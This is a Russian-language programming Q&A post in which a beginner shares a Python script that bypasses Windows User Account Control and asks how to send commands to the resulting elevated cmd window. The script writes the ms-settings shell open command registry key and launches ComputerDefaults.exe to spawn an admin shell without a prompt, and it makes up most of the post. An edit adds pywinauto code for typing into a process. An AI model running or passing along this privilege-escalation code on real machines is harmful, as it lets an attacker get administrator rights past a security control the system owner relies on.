Python - отправить команду уже запущенному cmd - PullRequest
0 голосов
/ 15 июня 2019

У меня есть сценарий Python, который обходит UAC (Обход контроля учетных записей пользователей) в Windows.

Затем мне нужно как-то связаться с открытым CMD и передать ему команды. Например: эхо-тестирование

Мне удалось найти только код, который открывает новый cmd и связывается с ним. Однако это не помогает, так как мне нужно связаться с новым (текущим), который я создал с помощью обхода UAC.

UACbypass.py

import os
import sys
import ctypes
import winreg


def create_reg_key(key, value):
    try:        
        winreg.CreateKey(winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-            
settings\shell\open\command')
        registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,     'Software\Classes\ms-settings\shell\open\command', 0, winreg.KEY_WRITE)                
        winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)        
        winreg.CloseKey(registry_key)
    except WindowsError:        
        raise

def exec_bypass_uac(cmd):
    try:
       create_reg_key('DelegateExecute', '')
        create_reg_key(None, cmd)    
    except WindowsError:
        raise

def bypass_uac():        
 try:                
    current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
    cmd = "C:\windows\System32\cmd.exe"
    exec_bypass_uac(cmd)                
    a=os.system(r'C:\windows\system32\ComputerDefaults.exe')  
    a.SendKeys("aaa")
    return 1               
 except WindowsError:
    sys.exit(1)       

if __name__ == '__main__':

    if bypass_uac():

        print ("Enjoy your Admin Shell :)")

Я очень плохо знаком с кодированием и питоном. Пожалуйста, будьте милы:)

EDIT:

У меня есть этот код ниже. Он отправляет ключи обычному процессу cmd, но не отправляет его cmd с правами администратора.

from pywinauto import Application

app = Application().connect(process = 16364)
dlg = app.top_window_()
dlg.TypeKeys('hello world')
...